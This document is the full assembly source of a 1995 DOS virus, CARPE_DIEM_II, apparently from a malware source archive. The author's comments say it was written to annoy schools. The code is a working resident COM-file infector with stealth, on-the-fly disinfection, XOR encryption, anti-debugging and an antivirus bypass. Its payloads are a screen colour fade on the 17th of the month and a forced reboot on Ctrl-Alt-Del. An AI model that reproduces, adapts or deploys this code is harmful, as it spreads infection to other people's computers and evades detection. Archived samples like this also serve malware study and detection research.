MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.cdiem2.asm

848 lines
25 KiB
NASM
Raw Normal View History

2021-01-12 23:34:47 +00:00
; This is some version of CARPE_DIEM_II.
; First of all - I would like to thank the following people for
; helping me out:
; Blonde - Without your assistence, this virus would be no
; full stealth virus, hurray for you.
; Conzouler - For general assistence concerning bug-eliminating.
; Stormbringer - For writing code which make sense.
; Priest - For the code-fragments included, hints, ideas,
; and happy comments!
; Anyhow, you've seen nearly seen this before. But it has (again)
; taken a new shape.
; I would like to point out that this version is under no circumstances
; destructive. It might bug sometime while spreading in weird invoroments,
; but since I run pure DOS myself - I havn't done a depth in study
; conserning how and when. Deal with it.
; The name is a bit confusing I think. I.e. I find the quation from
; Horatius (partly) wrong.
; The greek - swedish - english translation could read something like:
; "Seize the day and trust as less as possible on the future. . . "
; ... but since the future isn't tommorow, but now, I find it a
; bit irritating. Ah well.
; Anyhow - it's an old simply com-infector, and since it infects
; com-files only - it won't spread very far. But since my favorite
; targets are schools and since my mission is to annoy them as
; much as possible (with payloads), I reckon it does its work good
; enough. (Ask Billy The Kid's sysadm! :)).
; It isn't too visible since it will stealth file-size increases,
; and disinfect files opened. It has though some pretty visible
; payloads (black-to white color-fade all the time the 17.ten and
; it might print and reboot sometimes. . ).
; It includes encryption, soft-anti-debugging, anti-tb*, otherwise,
; it's pretty much your average virus.
; Further greetings goes out to all of VLAD and all of #virus :).
; Sincerly - The Unforgiven, Immortal Riot - National Malware Developemt, 1995.
.model tiny
.code
org 100h
vir_size equ end_of_virus-start_of_virus
start_of_virus:
vstart:
jmp entry_point
install:
mov ah,2ah ;get date
int 21h
cmp dl,17d ;day = 17?
jne get ;naw!
mov cs:[activate_flag],1 ;yeh!
get:
mov ah,4ah ;Installation check for the runtime
mov bx,0FFFFH ;part. (This is overkill)
mov cx,0bebeh
int 21h
cmp ax,cx ;ax=cx=0bebe?
jne not_res ;no!
jmp already_resident
not_res:
mov ah,4ah ;Use normal DOS-functions to
sub bx,(vir_size+15)/16+1 ;fix the TSR part.
int 21h ;(c) DA/PS ??
mov ah,48h ;allocate enough room for our code
mov bx,(vir_size+15)/16
int 21h
dec ax ;ax-1 = MCB for allocated memory
mov es,ax ;es=segment
mov word ptr es:[1],8 ;Mark DOS as owner
push cs ;cs=ds
pop ds
cld ;clear direction for string operations
sub ax,0fh ;100h bytes from allocstart
mov es,ax ;es:[100h] = start of allocated memory
mov di,100h
lea si,[bp+offset start_of_virus]
mov cx,(vir_size+1)/2 ;copy entire virus to memory
rep movsw
push es ;es=ds
pop ds
mov ax,3521h ;get interrupt vector from es:bx for
int 21h ;int21h
tb_lup:
cmp word ptr es:[bx],05ebh ;check for short jump
jne no_tbdriver
cmp byte ptr es:[bx+2],0eah ;and for far jump to next int handler
jne no_tbdriver
les bx,es:[bx+3] ;if found TBdriver, get next int
jmp tb_lup ;handler and use that as int 21 adr
no_tbdriver:
mov word ptr ds:[Org21ofs],bx ;save segment:offset for int21h
mov word ptr ds:[Org21seg],es ;in a word each
cmp byte ptr cs:[activate_flag],1
jne skip_08_get ;not the 17:ten!
mov al,08h
int 21h
mov word ptr ds:[org08ofs],bx
mov word ptr ds:[org08seg],es
skip_08_get:
mov al,09h ;get interrupt vector for int09h
int 21h ;as well as
mov word ptr ds:[org09ofs],bx
mov word ptr ds:[org09seg],es
mov dx, offset new_int21h ;set new int.vector for 21h to ds:dx
mov ax,2521h
int 21h
cmp byte ptr cs:[activate_flag],1 ;day = 17?
jne skip_08_set ;no!
mov dx, offset new_08h
mov al,08h
int 21h
skip_08_set:
mov dx,offset new_09h ;09
mov al,09h
int 21h
already_resident:
tbdriver:
mov di,100h ;transer back control to the infected
push di ;host program.
push cs ;make cs=ds=es
push cs
pop es
pop ds
lea si,[bp+orgjmp] ;move orgjmp of 4 bytes to the
movsw ;correct (100h) memory adress.
movsw
exit:
ret ;and exit!
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; This is the new int21h Handler
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
new_int21h:
cmp ah,4ah ;ah=4ah?
jne chk_exec ;no!
cmp bx,0ffffh ;bx = -1?
jne no_match ;no!
cmp cx,0bebeh ;cx = 0bebeh?
jne no_match ;no!
mov ax,cx ;=> Installation check, move bebe into ax
iret ;and return (ax=cx=0bebeh)
chk_exec:
cmp ax,4b00h ;infect on execute
je go_infect
chk_close:
cmp ah,3eh ;infect on file-closes
je go_close
cmp ah,3dh ;normal file-open? - Disinfect
je go_disinfect
chk_dir:
cmp ah,11h ;stealth file size increase on
je go_fcb_stealth ;directory listenings using
cmp ah,12h ;functions 11/12/4e/4fh
je go_fcb_stealth
cmp ah,4eh
je go_handle_stealth
cmp ah,4fh
je go_handle_stealth
no_match:
jmp do_oldint21h ;jmp org vector
go_infect:
jmp infect
go_close:
call setcritical
jmp infect_close
go_disinfect:
call setcritical
jmp open_disinfect
go_fcb_stealth:
jmp hide_dir
go_handle_stealth:
jmp hide_dir2
dps db "CARPE_DIEM_II - FLOATING THROUGH THE VOID!",7,0 ;CC
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; This is the new int08h Handler
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
new_08h:
push ax ;Toy with the black-ground color!!
push dx
mov dx,03c8h
xor al,al
out dx,al
inc dx
mov al,[cs:bgcol]
out dx,al
out dx,al
out dx,al
inc [cs:bgcol]
pop dx
pop ax
do_old08h:
db 0eah ;and jump to saved vector for int08h
org08ofs dw ?
org08seg dw ?
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; This is the new int09h Handler
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
new_09h:
push ax ;preserve register in use
push ds
xor ax,ax
mov ds,ax ;ds=0
in al,60h ;read key
cmp al,53h ;delete?
jnz no_ctrl_alt_del ;no!
test byte ptr ds:[0417h],0ch ;test for alt-ctrl
je no_ctrl_alt_del ;no. .
in al,41h ;get random value
test al,11111b ;2^5 = 32
jne no_ctrl_alt_del ;value doesnt match!
push cs ;cs=ds
pop ds
mov ax,3 ;set grafic mode (text)
int 10h
mov ah,2 ;set cursor pos
xor bh,bh
mov dx,0A14h ;10,20d (middle)
int 10h
mov ah,1 ;set cursor
mov cx,2020h ;>nul
int 10h
mov si,offset dps ;point to v_name
all_chars:
loop all_chars
lodsb ;load string by byte from dps
or al,al ;end of string? (al=0)
je cold_boot ;yes, make a cold boot
mov ah,0Eh ;display character from string
int 10h
jmp short all_chars ;put next char to string
cold_boot:
db 0eah ;jmp far ptr
db 00h, 00h, 0ffh, 0ffh ;coldboot vector
no_ctrl_alt_del:
pop ds ;restore registers
pop ax
do_oldint09h:
db 0eah ;and jump to saved vector for int09h
org09ofs dw ?
org09seg dw ?
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; This will fool directory listenings using FCBs
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hide_dir: ;FCB stealth routine
pushf ;simulate a int call with pushf
push cs ;and cs, ip on the stack
call do_oldint21h
or al,al ;was the dir call successfull??
jnz skip_dir ;naw!
push ax
push bx
push es
mov ah,62h ;get active PSP to es:bx (51h as well)
int 21h
mov es,bx
cmp bx,es:[16h] ;PSP belongs to dos?
jnz bad_psp ;no, we don't want chkdsk fuck-up's!
mov bx,dx
mov al,[bx] ;al holds current drive - FFh means
push ax ;extended FCB
mov ah,2fh ;get DTA-area
int 21h
pop ax
inc al ;is it an extended FCB
jnz no_ext
add bx,7 ;if so add 7 to skip garbage
no_ext:
mov al,byte ptr es:[bx+17h] ;get seconds field
and al,1fh
xor al,1dh ;is the file infected??
jnz no_stealth ;if not - don't hide size
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
jbe no_stealth ;as an infected is smaller -
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
no_stealth:
bad_psp:
pop es
pop bx
pop ax
skip_dir:
iret
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; This will fool directory listenings using File Handles
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hide_dir2:
pushf
push cs
call do_oldint21h
jc no_files
pushf
push ax
push di
push es
push bx
mov ah,2fh ;Get DTA-area
int 21h
mov di,bx
add di,1eh
cld
mov cx,9 ;scan for the dot which
mov al,'.' ;extension
repne scasb ;
jne not_inf
cmp word ptr es:[di],'OC' ;CO?
jne not_inf ;yeh!
cmp byte ptr es:[di+2],'M' ;COM?
jne not_inf ;yeh!
mov ax,es:[bx+16h] ;ask file time
and al,1fh
xor al,1dh ;is the file infected??
jnz not_inf
cmp word ptr es:[bx+1ah],vir_size ;dont stealth too small
ja hide ;files
cmp word ptr es:[bx+1ch],0 ;or too damn big files
je not_inf
hide:
sub es:[bx+1ah],vir_size-3 ;<- no, its not a SUB-routine! :)
not_inf:
pop bx
pop es
pop di
pop ax
popf
no_files:
retf 2 ;return and pop 2 of stack
infect_close:
push es
push bp
push ax
push bx
push cx
push si
push di
push ds
push dx
cmp bx,4 ;don't close null, aux and so
jbe no_close
call check_name ;es:di points to file name
add di,8 ;es:di points to extension
cmp word ptr es:[di],'OC'
jne no_close
cmp byte ptr es:[di+2],'M' ;if COM infect it!
je close_infection
no_close:
pop dx ;No comfile!
pop ds
pop di
pop si
pop cx
pop bx
pop ax
pop bp
pop es
jmp do_oldint21h
close_infection:
mov byte ptr es:[di-26h],2 ;mark read & write access
mov cs:Closeflag,1 ;raise closeflag for exit procedure
mov ax,4200h ;rewind file
xor cx,cx
cwd
int 21h
jmp short infect_on_close ;infect it
check_name:
push bx
mov ax,1220h ;get job file table for handle at es:di
int 2fh
mov ax,1216h ;get system file table
mov bl,byte ptr es:[di] ;for handle index in bx
int 2fh
pop bx
add di,20h ;es:di+20h points to file name
ret ;return
infect:
push es
push bp
push ax
push bx
push cx
push si
push di
push ds
push dx
call setcritical
mov cs:Closeflag,0 ;make sure closeflag is off
mov ax,4300h ;get attrib
int 21h
push cx ;save attrib onto the stack
mov ax,4301h ;clear attrib
xor cx,cx
int 21h
mov ax,3d02h ;open file
pushf
push cs
call do_oldint21h
xchg ax,bx ;bx = file handle
infect_on_close: ;entry for infection on 3eh
push cs ;cs=ds
pop ds
mov ax,5700h ;get time/date
int 21h
push cx ;save time/date onto the stack
push dx
mov ah,3fh ;read three bytes to orgjmp
mov cx,4
mov dx,offset ds:orgjmp
int 21h
cmp word ptr ds:orgjmp,'ZM' ;check if .EXE file
je exe_file
cmp word ptr ds:orgjmp,'MZ'
je exe_file ;if so - don't infect
; cmp byte ptr ds:orgjmp+1,'m' ;dont infect command.com
; je skip_infect ;beta versions ONLY!
cmp byte ptr ds:orgjmp+3,'' ;dont reinfect files!
jne lseek_eof
jmp short skip_infect
exe_file:
mov cs:exeflag,1 ;mark file as EXE-file, and
jmp short skip_infect ;don't set second value for it!
lseek_eof:
mov ax,4202h ;go end of file, offset in dx:cx
xor cx,cx ;and return file size in dx:ax.
xor dx,dx
int 21h
cmp ax,(0FFFFH-Vir_size) ;file is too big?
jae skip_infect ;yeh
cmp ax,(vir_size-100h) ;file is too small?
jb skip_infect ;yeh
add ax,offset entry_point-106h ;calculate entry offset to jmp
mov word ptr ds:newjmp[1],ax ;move it to newjmp
get_rnd:
mov ah,2ch ;get random number and put enc_val
int 21h
or dl,dl ;dl=0 - get another value!
je get_rnd
mov word ptr ds:enc_val,dx
mov ax,08d00h ;copy entire virus to 8d00h:100h
mov es,ax
mov di,100h
mov si,di
mov cx,(vir_size+1)/2
rep movsw
push es
pop ds
xor bp,bp ;and encrypt it there
call encrypt
mov ah,40h ;write virus to file from position
mov cx,end_of_virus-install ;08d00h:100h
mov dx,offset install
int 21h
push cs ;cs=ds
pop ds
mov ax,4200h ;go to beginning of file
xor cx,cx
cwd
int 21h
mov ah,40h ;and write a new-jmp-construct
mov cx,4 ;of 4 bytes (4byte=infection marker)
mov dx,offset newjmp
int 21h
skip_infect:
mov ax,5701h ;restore
pop dx ;date
pop cx ;time
cmp byte ptr cs:[exeflag],1 ;exe file?
je skip_sec ;if so - keep the sec_value intact
or cl,00011101b ;and give com-files second value
and cl,11111101b ;29
skip_sec:
int 21h
cmp byte ptr cs:[Closeflag],1 ;check if execute or close infeection,
je dont_close ;if infect on close, dont close file
close_file:
mov ah,3eh ;close the file which were executed
int 21h
pop cx ;get original file-attribs
dont_close:
pop dx ;ds:dx = filename
pop ds
cmp byte ptr cs:[Closeflag],1
je exit_close
mov ax,4301h ;set back saved attribute
int 21h
exit_close:
mov byte ptr cs:closeflag,0
call resetcritical
pop di
pop si
pop cx
pop bx
pop ax
pop bp
pop es
do_oldint21h:
O21h:
db 0eah ;jmp far ptr
org21ofs dw ? ;s:o to
org21seg dw ? ;int21h
ret ;call to DOS. . . return!
vir db "SVW: The Unforgiven/Immortal Riot",0
fcl db "Fuck Corporate Life!",0 ;I agree you SB!
closeflag db 0 ;0 if exec 1 if close
exeflag db 0
activate_flag db 0
bgcol db 0
newjmp db 0e9h,00h,00h,'' ;buffer to calculate a new entry
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; Cheesy primitive disinfecting-on-the-fly routine
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
open_disinfect: ;ds:dx=filename...
push ax
push bx
push cx
push dx
push di
push si
push ds
push es ;save all regs/segs...
push ds
pop es ;ds=es
mov cx,64 ;scan for the dot which
mov di,dx ;seperates filename from
mov al,'.' ;extension
cld ;clear direction
repne scasb ;
cmp word ptr ds:[di],'OC' ;CO?
je smallc ;yeh!
cmp word ptr ds:[di],'oc' ;co?
jne nocom ;naw!
smallc:
cmp byte ptr ds:[di+2],'M' ;COM?
je open_com ;yeh!
cmp byte ptr ds:[di+2],'m' ;com?
je open_com ;yeh!
nocom:
jmp no_opendis ;no com-file being opened!
open_com:
mov ax,3d02h ;open file with r/w access
pushf
push cs
call o21h
xchg bx,ax ;put filehandle in BX
push cs ;cs=ds=es
pop ds
push ds
pop es
mov ax,5700h ;get file info
int 21h
push cx ;save time
push dx ;and date
and cl,1fh ;see if seconds = 29
xor cl,1dh
jne close_dis ;is not!
mov ah,3fh ;read first four bytes
mov cx,4 ;to orgjmp
mov dx,offset ds:orgjmp
int 21h
cmp byte ptr ds:orgjmp,0e9h ;first byte = jmp?
jne close_dis ;no!
cmp byte ptr ds:orgjmp+3,'' ;infected?
jne close_dis ;naw!
mov ax,4202h ;seek end of file
cwd
xor cx,cx
int 21h
mov dx,ax ;dx=ax=file size
sub ax,(vend-install+3) ;substract orgjmp
push dx ;save file size on stack
xor ax,ax ;zero AX
sub dx,(vend-orgjmp) ;seek orgjmp location
xor cx,cx ;in the infected file
mov ah,42h
int 21h
mov ah,3fh ;read the original jump
mov cx,4 ;to orgjmp in memory
mov dx,offset ds:orgjmp
int 21h
xor ax,ax ;zero AX
cwd ;seek beginning of file
xor cx,cx
mov ah,42h
int 21h
mov ah,40h ;write the original saved jmp
mov dx,offset orgjmp ;to top of file
mov cx,4
int 21h
pop dx ;restore infected file size
sub dx,(vend-install) ;seek file-size - vir_size
xor ax,ax
xor cx,cx
mov ah,42h
int 21h
mov ah,40h
xor cx,cx ;write clean file
int 21h
close_dis:
mov ax,5701h ;restore saved
pop dx ;date
pop cx ;and time
int 21h
mov ah,3eh ;close the file
pushf
push cs
call o21h
no_opendis:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax ;restore all segments/registers
bail_out:
jmp o21h ;and bail out!
; The Set/Restore critical error handler is written by Stormbringer
; of Phalcon/Skism. I borrowed it because I find it excellent
; coded. I call the routines a lot of times, so. . . credits to him.
SetCritical:
push ax ds
mov ax,9
mov ds,ax
push word ptr ds:[0]
push word ptr ds:[2]
pop word ptr cs:[OldCritical+2]
pop word ptr cs:[OldCritical]
mov word ptr ds:[0],offset CriticalError
push cs
pop word ptr ds:[02]
pop ds ax
ret
ResetCritical:
push ax ds
push word ptr cs:[OldCritical]
mov ax,9
push word ptr cs:[OldCritical+2]
mov ds,ax
pop word ptr ds:[2]
pop word ptr ds:[0]
pop ds ax
ret
CriticalError:
mov al,0
iret
OldCritical dd 0
; ---------------------------------------------------------
; All code below this point is unencrypted - only adresses
; caluculated from the base pointer will vary. Instructions
; are the same.
; ---------------------------------------------------------
decrypt:
encrypt:
mov ax,word ptr ds:[bp+enc_val] ;enc value in ax
lea di,[bp+install] ;pointer to encryption start
mov cx,(encrypt-install)/2 ;number of words to be encrypted
xor_loopy:
xor word ptr ds:[di],ax
inc di
inc di
loop xor_loopy
ret
enc_val dw 0
entry_point:
mov sp,102h ;Alternative coding
call get_bp ;to get the delta offset
;Raver(tm)
get_bp:
mov bp,word ptr ds:[100h]
mov sp,0fffeh
sub bp,offset get_bp
mov si, offset ditch ;This routine will make
add si,bp ;single-stepping programs
; db 0ebh,0 ;stop.
mov byte ptr ds:[si],0c3h
ditch:
mov byte ptr ds:[si],0c6h
call decrypt ;decrypt virus
jmp install ;jmp to install code
orgjmp db 0cdh,20h,00,00 ;buffer to save the 4 first bytes in,
;remains unecrypted due to disinfection.
end_of_virus:
vend:
end start_of_virus